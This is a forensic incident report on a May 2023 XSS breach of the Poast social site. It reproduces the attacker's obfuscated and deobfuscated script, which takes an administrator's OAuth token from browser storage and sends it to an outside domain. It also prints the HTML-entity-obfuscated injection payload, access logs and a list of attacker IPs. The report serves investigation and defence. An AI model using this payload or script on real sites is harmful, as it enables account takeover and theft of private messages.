CYBER TRESPASS REPORT

https://poa.st

Acessed May 22, 2023

Compiled by Alex Gleason

Summary

On May 22, 2023 the social media website Poast was hacked, and a leak of user data was published online.[1] The leak contained private direct messages between users, as well as user email addresses.

Poast ("Poast, Inc.") is a private company registered in Ontario, Canada, with servers hosted in Idaho, United States.

Information was obtained from the hacker(s), including a list of IP addresses used to carry out the attack, as well as a domain name ("FEDIRELAY.XYZ", "fedirelay.xyz") that was used to carry out the attack. The domain name is registered to "Tucows, Inc." incorporated in Pennsylvania, United States.

---

1. https://alogs.space/cow/res/209571.html

Intrusion

The intrusion was an XSS (cross-site scripting) attack where the attacker injected a script into a webpage on Poast, and used it to steal an OAuth access token from a site administrator. The token was transmitted to a third-party server, "FEDIRELAY.XYZ", where it was obtained and used to download private messages and user data from Poast, which were subsequently published online.

Parties

Daniel Stevens ("anime graf mays", "graf")
: Owner and administrator of Poast, Inc.

Fallout76
: Username used by the attacker.

Timeline

May 18, 2023: the attacker joined Poast under the username "Fallout76".

May 19, 2023: the domain name "FEDIRELAY.XYZ" was registered by the attacker at Tucows, Inc.

May 20, 2023: the attacker uploaded the payload (a JavaScript file) to Poast. Between May 20 and May 22, the attacker tested the attack on their own account.

May 22, 2023: the attacker socially engineered Daniel Stevens to view a specific post on Poast. At this time, Stevens' OAuth access token was harvested by this script and sent to "FEDIRELAY.XYZ".

May 22, 2023: the attacker used the harvested OAuth token to download user data and private direct messages from Poast.

May 25, 2023: the attacker published the leaks from Poast online.

Analysis

The attacker's script transmitted Stevens' OAuth token to FEDIRELAY.XYZ.[1]

```
61  await fetch(
62    'https://' +
63      window.location.hostname +
64      '/api/v1/accounts/' +
65      acct +
66      '@mostr.fedirelay.xyz',
67    {
```

The attack is also shown in the Nginx access logs.[2]

```
REDACTED - - [25/May/2023:04:48:03 +0000] "GET /api/v1/accounts/lookup?
acct=41393065726f6d4963327859794c72755474486742666949673374461677a5747547674
6575786673484d2f26%40mostr.fedirelay.xyz HTTP/2.0" 404 47 "https://
pl.poa.st/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"
```

---

1. See **EVIDENCE 2** for the full deobfuscated script.
2. Stevens' IP address is redacted.

Analysis Cont.

The attacker had tested the attack with their own account.

```
217.64.148.108 - - [20/May/2023:22:08:48 +0000] "GET /api/v1/accounts/lookup?
acct=57637878656c49307441414e45305f576976633769324a46574d4e3374494f35744433526
279574e3750772f26%40mostr.fedirelay.xyz HTTP/2.0" 404 47 "https://pl.poa.st/"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/112.0.0.0 Safari/537.36"

45.148.17.50 - - [21/May/2023:01:59:09 +0000] "GET /api/v1/accounts/lookup?
acct=707449477662356d48466c6a5434753456564d354b3836305676636d387537364e4232414
e765a776c634d2f26%40mostr.fedirelay.xyz HTTP/2.0" 404 47 "https://pl.poa.st/"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/112.0.0.0 Safari/537.36"

45.148.17.50 - - [22/May/2023:04:47:16 +0000] "GET /api/v1/accounts/lookup?
acct=5a6468586c516e3435796675597755596e5561667968437a31746463564c5539435342305
8776a3649684d2f26%40mostr.fedirelay.xyz HTTP/2.0" 404 47 "https://pl.poa.st/"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/112.0.0.0 Safari/537.36"
```

Converting the identifier from hex to text reveals the attacker's OAuth Token.

Analysis Cont.

The attacker's OAuth token belongs to "Fallout76".

```
backup=# select user_id from oauth_tokens where token ='ZdhXlQn45yfuYwUYnUafyhCz1tdcVLU9CSB0Xwj6IhM';
-[ RECORD 1 ]---------------------------------
user_id | 00000188-2ebb-cbec-b75a-89d0383a0000



-[ RECORD 1 ]------------------------+------------------------------------------------------------------
id                                   | 00000188-2ebb-cbec-b75a-89d0383a0000
email                                |
password_hash                        |
name                                 |
nickname                             | Fallout76
bio                                  |
inserted_at                          | 2023-05-18 12:00:39
updated_at                           | 2023-05-25 04:50:20
ap_id                                | https://poa.st/users/Fallout76
```

The attacker socially engineered Stevens to view the vulnerable message.

> *@graf does btrfly support pleroma <a href='\r\nd&#x61t&#x61:text/html,<scr&#x69pt></scr&#x69pt\" src=\"https://i.poastcdn.org/b2977f2d97f598d2ebd6dcf37afd9047b5da2b6dc95a7b2824fb111c906fb117.js\" hidden'>*
>
> Fallout76 - 2023-05-20 22:34:52

Analysis Cont.

The breach of private direct messages is shown in the Nginx access logs. 70+ IP addresses were used in the attack. Among them, Fallout76's IP address is included.

```
217.64.148.147 - - [22/May/2023:09:19:23 +0000] "GET /api/v1/pleroma/admin/
chats/AKOXTScjCOgeueRGjo/messages?limit=40 HTTP/1.1" 200 3557 "-" "Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
115.0.0.0 Safari/537.36"
217.64.148.147 - - [22/May/2023:09:19:24 +0000] "GET /api/v1/pleroma/admin/
chats/AO54fpZo3KRkZ04gee/messages?limit=40 HTTP/1.1" 200 2512 "-" "Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
115.0.0.0 Safari/537.36"
217.64.148.147 - - [22/May/2023:09:19:25 +0000] "GET /api/v1/pleroma/admin/
chats/AO54fpZo3KRkZ04gee/messages?limit=40&max_id=ASoKGJd1KLb2x7lQfI HTTP/1.1"
200 3228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
217.64.148.147 - - [22/May/2023:09:19:26 +0000] "GET /api/v1/pleroma/admin/
chats/AO54fpZo3KRkZ04gee/messages?limit=40&max_id=ASep67XCQJRoXIQ0mm HTTP/1.1"
200 3055 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
217.64.148.147 - - [22/May/2023:09:19:26 +0000] "GET /api/v1/pleroma/admin/
chats/AKOXTScjCOgeueRGjo/messages?limit=40&max_id=AMiwCxTLntpiWcp0Vs HTTP/1.1"
200 3980 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
217.64.148.147 - - [22/May/2023:09:19:27 +0000] "GET /api/v1/pleroma/admin/
chats/AO54fpZo3KRkZ04gee/messages?limit=40&max_id=ASeR7IKRNWiTP4TgBs HTTP/1.1"
200 2688 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
217.64.148.147 - - [22/May/2023:09:19:28 +0000] "GET /api/v1/pleroma/admin/
chats/AO54fpZo3KRkZ04gee/messages?limit=40&max_id=ASe0xhGdCm9f2qSVRQ HTTP/1.1"
200 2838 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
217.64.148.147 - - [22/May/2023:09:19:29 +0000] "GET /api/v1/pleroma/admin/
chats/AO54fpZo3KRkZ04gee/messages?limit=40&max_id=ASd6avOcufSkltlNjd HTTP/1.1"
200 2801 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
```

Evidence 1

Attacker's script

```
function _0x4834(){const _0x56b630=['W7yYW5Cdeam','tH/dTwWEWO8pWQldPCk/
Fq','W5b8WQBdGgldNCoTwq','W6pcK8kGBmo4F8k3uCk7WP7cJa','sYveWP0GW4OdEe/
cIq','hmo0W5e6iSkvW4H1WPxdU8kNwG','fmo2W5y7iCkxWQqiWOZdMSkZAIXh','Bmo7W6nGWQvbWQmK','W6qua8oCWRe','WPzQbaddKbzNWRe','W6ixcSohWPfcdxxcIG
','W58+W7/dG2FdUaW','sb/
dSMP7WPCKWR7dPSkQ','W7JcNCk+FCk7CCkOxq','hrTKWOFcKCkkef7cGW','acJdOfGfl2zZgZZcMmkXE14','W598WRFdKG','i8oSC0CtW4C','tCkbtG','wtJcNCo9wSk
7W5jP','W5nYWRddLx4','jmoHWQ/
cTmoY','s8kfr05hW5VcQZ53W4zXWOT0','W7ZcK8k+FCkzF8kIuCkYWRNcG8o+xG','WQXTWQVcHJpcVxxcR0FdLttdQW','baDIWPtcSCkmffu','DsDlWP1DW4vXW5K9WRJd
MCouW6LN','WPqNBtTHW5hcUSo1','WQegWQpcUmkNWRhdMJJdHq','WQLGWObDv15RlaBdSmkOWRG','bSk6lNayW5TEWQf7lCkoBq','smkusKHvWO3dSxq','i8o3WQVcOSo
2uIyVvW','WQ9noGpcKGFdR8kyW6aFW6yxnG','WQrDw8keW7aFxNZcTSoQrwlcNq','W4RdTCkxrfZdUCkFW4CMcSkNDH1A','WQCjWRlcQCk3','xspcISoSxCoOWPiO','W7
8lhmobWQTmc3u','v8ozkmoxWQXdWPbE','W7uABv7dKLhcSG','WPtcPSovaau','csNcRMW6zwXVqsRdGmkUiX4FW5hdUmksWQq','vmk2WQlcG8kYW5PqWQ8','WRtdTSkZE
8obWPRdVIXuWRVdL10','WP88AZG','emoxk8okW61uW4WuW7v6WQvmW4hdU8kWb2NdICozW7xcOCoWW5mcW5/
cVSkmWO40','W7yuh8ozWQXob2tcJCocydJcPXxdM8kU','haDsWOhcT8kmfvW','W7ldPCoPAmoOW5npW7mCrSkruq','mSo6WQVcTmoctYS+C18','WQaCWRpcRCkSW67cKvm
','fYpcVNG6DW','wh3cRmkYW7vIaG','W6BcR8o7nSkp','WRRdSSk7C8oeWPJdGHzjWPJdSNi','oZxcHSkVWQ4my18CW58yWQiYEgb5','WQNcVSkYmmkRWOPjW6W','qSo/
FJv9WOnSWQLN','WQ0BW5u0bq9B','W7pdIGhcSG0','W5n9WRBdLhxdL8oNrda','rwTCmIddGbC','W6BdPdGpwbRcLJvuWOzNW73dTLLWjwO','W7hcU8kMWOVdT8kEkmo/'
,'W68vy1FcILRcPCkDW5uXW4m','BxhdHSo1W7iDtveIW4CF','W6NcTCkXWQZdRCkEn8oU','jmkspXhdVa','W5i6t0icW7NdNmkRma','W5vNWPvO','W5r8WRBdLxJdLCoV
uG','W7u0W63dHwZdQ0hcPW','WOBcNgjatsyY','W6/cO8o4nSk6W4xdSdrmWPZdKhRcKW'];_0x4834=function(){return _0x56b630;};return _0x4834();}
function _0x363b(_0x2b191d,_0x296945){const _0x483455=_0x4834();return _0x363b=function(_0x363be9,_0x5d9209)
{_0x363be9=_0x363be9-0x7f;let _0x21da7d=_0x483455[_0x363be9];if(_0x363b['hMIOKu']===undefined){var _0x2e1af7=function(_0x4308c5){const
_0x5caa99='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x1487cb='',_0x255a75='';for(let
_0x5a00aa=0x0,_0x252ff9,_0xd69ef2,_0xbdfdfa=0x0;_0xd69ef2=_0x4308c5['charAt'](_0xbdfdfa++);~_0xd69ef2&&(_0x252ff9=_0x5a00aa%0x4?
_0x252ff9*0x40+_0xd69ef2:_0xd69ef2,_0x5a00aa++%0x4)?_0x1487cb+=String['fromCharCode'](0xff&_0x252ff9>>(-0x2*_0x5a00aa&0x6)):0x0)
{_0xd69ef2=_0x5caa99['indexOf'](_0xd69ef2);}for(let _0xaef018=0x0,_0xbb83a5=_0x1487cb['length'];_0xaef018<_0xbb83a5;_0xaef018++)
{_0x255a75+='%'+('00'+_0x1487cb['charCodeAt'](_0xaef018)['toString'](0x10))['slice'](-0x2);}return
decodeURIComponent(_0x255a75);};const _0x3018da=function(_0x22fada,_0x1f9b6c){let
_0x21cb67=[],_0x56e328=0x0,_0x26cb6e,_0x38ebb6='';_0x22fada=_0x2e1af7(_0x22fada);let
_0x1b96df;for(_0x1b96df=0x0;_0x1b96df<0x100;_0x1b96df++){_0x21cb67[_0x1b96df]=_0x1b96df;}for(_0x1b96df=0x0;_0x1b96df<0x100;_0x1b96df++)
{_0x56e328=(_0x56e328+_0x21cb67[_0x1b96df]+_0x1f9b6c['charCodeAt'](_0x1b96df%_0x1f9b6c['length']))
%0x100,_0x26cb6e=_0x21cb67[_0x1b96df],_0x21cb67[_0x1b96df]=_0x21cb67[_0x56e328],_0x21cb67[_0x56e328]=_0x26cb6e;}
_0x1b96df=0x0,_0x56e328=0x0;for(let _0x397c39=0x0;_0x397c39<_0x22fada['length'];_0x397c39++)
{_0x1b96df=(_0x1b96df+0x1)%0x100,_0x56e328=(_0x56e328+_0x21cb67[_0x1b96df])
%0x100,_0x26cb6e=_0x21cb67[_0x1b96df],_0x21cb67[_0x1b96df]=_0x21cb67[_0x56e328],_0x21cb67[_0x56e328]=_0x26cb6e,_0x38ebb6+=String['fromC
harCode'](_0x22fada['charCodeAt'](_0x397c39)^_0x21cb67[(_0x21cb67[_0x1b96df]+_0x21cb67[_0x56e328])%0x100]);}return
_0x38ebb6;};_0x363b['FhToRe']=_0x3018da,_0x2b191d=arguments,_0x363b['hMIOKu']=!![];}const
_0x294a8a=_0x483455[0x0],_0x8a78cc=_0x363be9+_0x294a8a,_0x2bfd69=_0x2b191d[_0x8a78cc];return!_0x2bfd69?
(_0x363b['MTlxnV']===undefined&&(_0x363b['MTlxnV']=!![]),_0x21da7d=_0x363b['FhToRe']
(_0x21da7d,_0x5d9209),_0x2b191d[_0x8a78cc]=_0x21da7d):_0x21da7d=_0x2bfd69,_0x21da7d;},_0x363b(_0x2b191d,_0x296945);}
(function(_0x36f4b3,_0x5ec031){const _0x3c8400=_0x36f4b3();function _0x19cca1(_0x18a9fe,_0x3733d6){return _0x363b(_0x18a9fe-
-0xa6,_0x3733d6);}while(!![]){try{const _0x313e0c=parseInt(_0x19cca1(-0xe,'aAsm'))/0x1+-parseInt(_0x19cca1(-0x3,'aAsm'))/0x2+-
parseInt(_0x19cca1(-0x1d,'O87I'))/0x3+parseInt(_0x19cca1(-0x18,'BPiQ'))/0x4+parseInt(_0x19cca1(0x8,'GeP0'))/0x5*(-
parseInt(_0x19cca1(0xb,'A8pI'))/0x6)+parseInt(_0x19cca1(0xf,'yoNv'))/0x7*(-parseInt(_0x19cca1(-0x17,'^POH'))/0x8)+-
parseInt(_0x19cca1(-0x22,'7$Yo'))/0x9*(-parseInt(_0x19cca1(0x1d,'W2&2'))/0xa);if(_0x313e0c===_0x5ec031)break;else _0x3c8400['push']
(_0x3c8400['shift']());}catch(_0x5ee905){_0x3c8400['push'](_0x3c8400['shift']());}}}(_0x4834,0xc96d6));async function
send(_0x3018da,_0x4308c5,_0x5caa99){var _0x1487cb=function(){var _0xd69ef2,_0xbdfdfa=[];for(var
_0xaef018=0x0;_0xaef018<0x100;_0xaef018++){_0xd69ef2=_0xaef018;for(var _0xbb83a5=0x0;_0xbb83a5<0x8;_0xbb83a5++)
{_0xd69ef2=_0xd69ef2&0x1?0xedb88320^_0xd69ef2>>>0x1:_0xd69ef2>>>0x1;}_0xbdfdfa[_0xaef018]=_0xd69ef2;}return
_0xbdfdfa;},_0x255a75=function(_0x22fada){var _0x1f9b6c=_0x1487cb(),_0x21cb67=0x0^-0x1;for(var
_0x56e328=0x0;_0x56e328<_0x22fada[_0x28eb3f('O87I',0x348)];_0x56e328++)
{_0x21cb67=_0x21cb67>>>0x8^_0x1f9b6c[(_0x21cb67^_0x22fada[_0x28eb3f('LXxc',0x34c)](_0x56e328))&0xff];}function
_0x28eb3f(_0x2a351d,_0xfea131){return _0x363b(_0xfea131-0x291,_0x2a351d);}return((_0x21cb67^-0x1)>>>0x0)[_0x28eb3f('[kOO',0x351)]
(0x10);};let _0x5a00aa=_0x3018da,_0x252ff9=_0x5a00aa[_0x331637('BPiQ',-0x66)]('')[_0x331637('szJQ',-0x5c)]
(_0x26cb6e=>_0x26cb6e[_0x331637('hIAb',-0x87)](0x0)[_0x331637('Xe#N',-0x89)](0x10)[_0x331637('tDYu',-0x79)](0x2,'0'))['join']('')
+_0x255a75(_0x5caa99)['slice'](0x0,0x4);function _0x331637(_0x35f371,_0x164914){return _0x363b(_0x164914- -0x125,_0x35f371);}await
fetch(_0x331637('szJQ',-0x9a)+window[_0x331637('Xe#N',-0xa0)][_0x331637('BPiQ',-0x93)]+_0x331637('wJbS',-0x8b)
+_0x252ff9+'%40mostr.fedirelay.xyz',{'credentials':'include','headers':{'Accept':'application/json','Accept-
Language':_0x331637('HYUE',-0x9f),'Content-Type':_0x331637('BPiQ',-0x8a),'Authorization':_0x331637('7$Yo',-0x63)+_0x4308c5,'Sec-Fetch-
Dest':_0x331637('aAsm',-0x83),'Sec-Fetch-Mode':'cors','Sec-Fetch-Site':_0x331637('8J)y',-0x6b)},'referrer':_0x331637('ZETj',-0x9e)
+window[_0x331637('gicm',-0x80)][_0x331637('wJbS',-0x92)]+'/'+_0x252ff9+'@'+window[_0x331637('8bWZ',-0x67)]
[_0x331637('tDYu',-0x76)],'method':'GET','mode':_0x331637('ZETj',-0x8c)}),await
fetch(_0x331637('OylH',-0x86)+window[_0x331637('zA$c',-0x8e)][_0x331637('8J)y',-0x61)]+_0x331637('*9&K',-0x7a)
+_0x252ff9+'@mostr.fedirelay.xyz',{'credentials':_0x331637('YG93',-0x91),'headers':{'Accept':_0x331637('GeP0',-0x81),'Accept-
Language':_0x331637('cO(^',-0x5f),'Content-Type':'application/json','Authorization':_0x331637('OzCU',-0x84)+_0x4308c5,'Sec-Fetch-
Dest':_0x331637('e*O&',-0x75),'Sec-Fetch-Mode':'cors','Sec-Fetch-
Site':_0x331637('YG93',-0x78)},'referrer':_0x331637('s*MW',-0x94)+window[_0x331637('$@ok',-0x6c)][_0x331637('7$Yo',-0x71)]
+'/'+_0x252ff9+'@'+window[_0x331637('s*MW',-0xa6)][_0x331637('$@ok',-0x72)],'method':'GET','mode':_0x331637('$@ok',-0x5e)});}(async
function(){let _0x38ebb6=JSON['parse'](localStorage['getItem'](_0x447921('cO(^',0x1f7)));if(_0x38ebb6==undefined){const
_0x21c24c=window[_0x447921('OylH',0x1e9)][_0x447921('p9^@',0x213)]('localforage',0x2);_0x21c24c['onsuccess']=async _0x194fed=>{let
_0x4d1b7b=_0x21c24c[_0x5ad49b('R0QT',0x23d)];function _0x5ad49b(_0x5b535b,_0xffd737){return _0x447921(_0x5b535b,_0xffd737-0x14);}const
_0x57cfcb=_0x4d1b7b['transaction']([_0x5ad49b('szJQ',0x1f7)],_0x5ad49b('hIAb',0x201));let _0x3bc26e=_0x57cfcb['objectStore']
('keyvaluepairs'),_0x36d382=_0x3bc26e['get'](_0x5ad49b('RfsH',0x21f));_0x36d382[_0x5ad49b('$@ok',0x21e)]=async
_0x52df61=>{_0x38ebb6=_0x36d382[_0x96347b('cO(^',0x358)];let _0x2c4a7b=_0x38ebb6?.[_0x96347b('d76]',0x360)]?.[_0x96347b('8J)y',
0x33b)],_0x559c81=_0x38ebb6?.['oauth']?.[_0x96347b('71Qb',0x35e)];function _0x96347b(_0x77a0f0,_0x40d288){return
_0x5ad49b(_0x77a0f0,_0x40d288-0x143);}let _0x1d7bd6='';_0x1d7bd6+=_0x38ebb6?.[_0x96347b('$@ok',0x338)]?.[_0x96347b('BPiQ',0x379)],await
send(_0x1d7bd6,_0x559c81,_0x2c4a7b);};};return;}let _0x1b96df=_0x38ebb6?.[_0x447921('hIAb',0x1e2)]?.[_0x447921('aAsm',
0x217)],_0x397c39=_0x38ebb6?.[_0x447921('^POH',0x1f6)]?.['userToken'];function _0x447921(_0x967267,_0xfb0fb3){return
_0x363b(_0xfb0fb3-0x161,_0x967267);}let _0x5c74cc='';_0x5c74cc+=_0x38ebb6?.[_0x447921('OylH',0x1f1)]?.[_0x447921('Xe#N',0x226)],await
send(_0x5c74cc,_0x397c39,_0x1b96df);}());
```

Evidence 2

Deobfuscated script

```
async function send(token, userToken, lastLoginName) {
  function generateTable() {
    var temp,
      table = [];
    for (var i = 0; i < 256; i++) {
      temp = i;
      for (var j = 0; j < 8; j++) {
        temp = temp & 1 ? 3988292384 ^ (temp >>> 1) : temp >>>
1;
      }
      table[i] = temp;
    }
    return table;
  }

  function hash(str) {
    var table = generateTable(),
      result = 0 ^ -1
    for (var i = 0; i < str.length; i++) {
      result = (result >>> 8) ^ table[(result ^
str.charCodeAt(i)) & 255];
    }
    return ((result ^ -1) >>> 0).toString(16);
  }

  let acct =
    token
      .split('')
      .map((char) =>
        char.charCodeAt(0).toString(16).padStart(2, '0')
      )
      .join('') + hash(lastLoginName).slice(0, 4);

  await fetch(
    'https://' +
      window.location.hostname +
      '/api/v1/accounts/lookup?acct=' +
      acct +
      '%40mostr.fedirelay.xyz',
    {
      credentials: 'include',
      headers: {
        Accept: 'application/json',
        'Accept-Language': 'en-US,en;q=0.5',
        'Content-Type': 'application/json',
        Authorization: 'Bearer ' + userToken,
        'Sec-Fetch-Dest': 'empty',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Site': 'same-origin',
      },
      referrer:
        'https://' +
        window.location.hostname +
        '/' +
        acct +
        '@' +
        window.location.hostname,
      method: 'GET',
      mode: 'cors',
    }
  );

  await fetch(
    'https://' +
      window.location.hostname +
      '/api/v1/accounts/' +
      acct +
      '@mostr.fedirelay.xyz',
    {
      credentials: 'include',
      headers: {
        Accept: 'application/json',
        'Accept-Language': 'en-US,en;q=0.5',
        'Content-Type': 'application/json',
        Authorization: 'Bearer ' + userToken,
        'Sec-Fetch-Dest': 'empty',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Site': 'same-origin',
      },
      referrer:
        'https://' +
        window.location.hostname +
        '/' +
        acct +
        '@' +
        window.location.hostname,
      method: 'GET',
      mode: 'cors',
    }
  );
};

(async function () {
  let auth = JSON.parse(localStorage.getItem('localforage/vuex-
lz'));

  if (auth == undefined) {
    const openRequest = window.indexedDB.open('localforage',
2);

    openRequest.onsuccess = async (e) => {
      let db = openRequest.result;
      const transaction = db.transaction(['keyvaluepairs'],
'readwrite');
      let keyvaluepairs =
transaction.objectStore('keyvaluepairs');
      let request = keyvaluepairs.get('vuex-lz');

      request.onsuccess = async (e) => {
        auth = request.result;
        let lastLoginName = auth?.users?.lastLoginName;
        let userToken = auth?.oauth?.userToken;
        let token = '';
        token += auth?.oauth?.userToken;
        await send(token, userToken, lastLoginName);
      }
    }

    return;
  }

  let lastLoginName = auth?.users?.lastLoginName;
  let userToken = auth?.oauth?.userToken;

  let token = '';
  token += auth?.oauth?.userToken;

  await send(token, userToken, lastLoginName);
})()
```

Evidence 3

Attacker's message


```
{
  "cc": [],
  "id": "https://poa.st/objects/b4afc83e-af6d-4428-8d60-1d6149b8ea25",
  "to": [
    "https://poa.st/users/graf"
  ],
  "tag": [],
  "type": "Note",
  "actor": "https://poa.st/users/Fallout76",
  "emoji": {},
  "source": {
    "content": "@graf does btrfly support pleroma <a href='\r\nd&#x61t&#x61:text/
html,<scr&#x69pt></scr&#x69pt\" src=\"https://i.poastcdn.org/
b2977f2d97f598d2ebd6dcf37afd9047b5da2b6dc95a7b2824fb111c906fb117.js\"
hidden'></a>",
    "mediaType": "text/html"
  },
  "content": "<span class=\"h-card\"><a class=\"u-url mention\" data-
user=\"A3L9Higoh5lR2qEmIK\" href=\"https://poa.st/users/graf\"
rel=\"ugc\">@<span>graf</span></a></span> does btrfly support pleroma <a
href=\"\ndata:text/html,&lt;script&gt;&lt;/script&quot; src=&quot;https://i.poastcdn.org/
b2977f2d97f598d2ebd6dcf37afd9047b5da2b6dc95a7b2824fb111c906fb117.js&quot;
hidden\"></a>",
  "context": "https://poa.st/contexts/b6fdef89-897f-4398-bd22-3393e6f831a5",
  "summary": "",
  "language": "en",
  "generator": null,
  "published": "2023-05-20T22:34:52.450158Z",
  "sensitive": null,
  "attachment": [],
  "content_type": "text/html"
}
```

Evidence 4

Attacker's event log

<2023-05-18 12:01:04> Fallout76 updated their profile (set their avatar to https://i.poastcdn.org/47833537c629891c900bd5eb3b0f1be9544ffc52b60d2d505b6ff978451410d3.jpg)
<2023-05-18 12:01:14> Fallout76 followed @Jim@poa.st
<2023-05-20 20:51:39> Fallout76 followed @grey@poa.st
<2023-05-20 20:53:08> Fallout76 updated their profile (locked their account)
<2023-05-20 20:53:13> Fallout76 updated their profile (no difference)
<2023-05-20 20:53:16> Fallout76 updated their profile (no difference)
<2023-05-20 20:55:10> Fallout76 posted "is this real?" with an image https://i.poastcdn.org/3ed58e748bfa2cb52001b55b5483586261e76bfcbe6c812a0c88fedd1fd0adce.jpg
<2023-05-20 21:06:47> Fallout76 replied to a post: "@graf who the fuck comes up with these new emojis lmao" https://poa.st/objects/2303f5c2-e9b6-41da-8155-8d7aa839325b
<2023-05-20 21:13:20> Fallout76 replied to a post: "@chemical_ali one time i got a ticket for literally passing a cop by going 5mph over the limit" https://poa.st/objects/b483e142-20f0-4d65-9cd1-d982fff87946
<2023-05-20 21:15:19> Fallout76 reacted with "💦" to a post by @Subject24@poa.st https://poa.st/objects/a1dd4358-611f-47c4-a787-917de0829361
<2023-05-20 21:33:27> Fallout76 followed @PoastSupport@poa.st
<2023-05-20 21:45:13> Fallout76 followed @milk@poa.st
<2023-05-20 21:45:20> Fallout76 followed @graf@poa.st
<2023-05-20 21:45:29> Fallout76 followed @p@freespeechextremist.com
<2023-05-20 21:52:44> Fallout76 updated their profile (changed their avatar from https://i.poastcdn.org/47833537c629891c900bd5eb3b0f1be9544ffc52b60d2d505b6ff978451410d3.jpg to https://i.poastcdn.org/b2977f2d97f598d2ebd6dcf37afd9047b5da2b6dc95a7b2824fb111c906fb117.js)
<2023-05-20 21:52:58> Fallout76 updated their profile (changed their avatar from https://i.poastcdn.org/b2977f2d97f598d2ebd6dcf37afd9047b5da2b6dc95a7b2824fb111c906fb117.js to https://i.poastcdn.org/93103fb34ff57e489da63d020f63496ec1bf77debd59afc0d4d4ede4d5c27bbd.jpg)
<2023-05-20 22:14:34> Fallout76 deleted a post
<2023-05-20 22:24:42> Fallout76 reacted with "❤️" to a post by @milk@poa.st https://poa.st/objects/78a7589d-e98d-4951-a5c5-ceecbb9a601e
<2023-05-20 22:34:52> Fallout76 sent a DM to @graf@poa.st with "@graf does btrfly support pleroma <a href='\r\nd&#x61t&#x61:text/html,<scr&#x69pt></scr&#x69pt\" src=\"https://i.poastcdn.org/b2977f2d97f598d2ebd6dcf37afd9047b5da2b6dc95a7b2824fb111c906fb117.js\" hidden'>"
<2023-05-20 22:36:44> Fallout76 updated their profile (no difference)
<2023-05-20 22:36:45> Fallout76 updated their profile (no difference)
<2023-05-20 22:37:46> Fallout76 updated their profile (no difference)
<2023-05-20 22:37:47> Fallout76 updated their profile (no difference)
<2023-05-21 04:17:03> Fallout76 sent a chat to @milk@poa.st with "Hey, I had a question about btrfly but I think that graf is too busy to answer.
pl.poa.st/notice/AVrOk9fpgKtTZMhoaO"
<2023-05-22 03:00:20> Fallout76 reacted with "🤣" to a post by @LittleTom@poa.st https://poa.st/objects/6f2a412c-bb9f-4120-a020-4970237ace81
<2023-05-22 04:14:28> Fallout76 updated their profile (no difference)
<2023-05-22 04:23:17> Fallout76 posted an image https://i.poastcdn.org/d6123274b82bd3f9344be455fa52c36f264682e5dffe7341876f3d07499385b7.jpg
<2023-05-22 04:31:07> Fallout76 updated their profile (unlocked their account)
<2023-05-22 04:43:13> Fallout76 sent a DM to @graf@poa.st with "@graf pleroma fe glitch? does the pic load in pleroma for you" with an image https://i.poastcdn.org/02842e3223e341af84606147edae11543791f58c7f193900dd652ede3dd33965.png
<2023-05-22 04:47:10> Fallout76 sent a DM to @graf@poa.st: "@graf uMatrix was blocking it, works now"

Evidence 5

Attacker's Botnet

```
  39903 185.236.203.124
   7444 217.64.148.147
   6561 89.238.176.4
   5462 95.171.20.56
   5232 91.205.188.216
   5067 188.186.16.85
   4923 91.207.115.56
   4916 46.182.133.239
   4842 78.138.188.166
   4634 185.49.108.244
   4577 95.67.255.194
   4424 195.19.120.51
   3944 188.190.221.136
   3729 95.83.48.138
   3451 176.118.0.163
   3296 195.78.104.161
   2778 95.25.204.240
   2774 5.3.230.134
   2714 82.202.155.160
   2335 178.46.134.186
   2334 136.169.210.152
   2302 185.15.62.124
   2171 158.46.254.14
   2156 5.253.102.180
   2072 77.232.165.11
   1974 188.186.100.24
   1872 45.148.17.50
   1724 92.126.221.32
   1534 212.164.65.37
   1445 87.117.53.23
   1362 31.131.221.241
   1174 84.53.229.23
   1151 46.8.241.69
   1094 185.53.233.249
   1072 178.186.197.145
    864 178.208.244.252
    841 94.181.139.27
    751 93.157.175.160
    733 84.53.216.80
    641 145.249.69.99
    557 31.135.33.241
    547 2.62.169.108
    543 176.116.164.216
    335 89.223.104.224
    331 5.133.79.199
    251 2a00:1e88:803a:9d01:9126:1eae:
38aa:2f39
    221 146.158.104.150
    205 37.58.36.153
    203 94.143.50.166
    184 46.8.241.217
    162 84.42.72.69
    146 79.136.210.56
    133 95.32.141.165
    130 195.34.235.138
    116 80.82.55.109
    115 176.213.108.186
    113 62.78.52.222
     72 185.12.224.183
     67 185.12.224.145
     45 87.117.189.114
     45 212.32.208.186
     38 46.174.115.9
     36 194.1.168.16
     27 79.126.89.211
     21 31.181.168.188
     18 81.177.127.57
     17 178.205.174.86
     15 195.19.127.15
     15 176.214.221.195
     13 92.37.143.195
     13 5.140.57.222
     13 31.8.253.249
      9 195.19.127.164
      8 176.113.48.9
      7 95.29.118.12
      7 31.148.194.140
      6 185.54.237.20
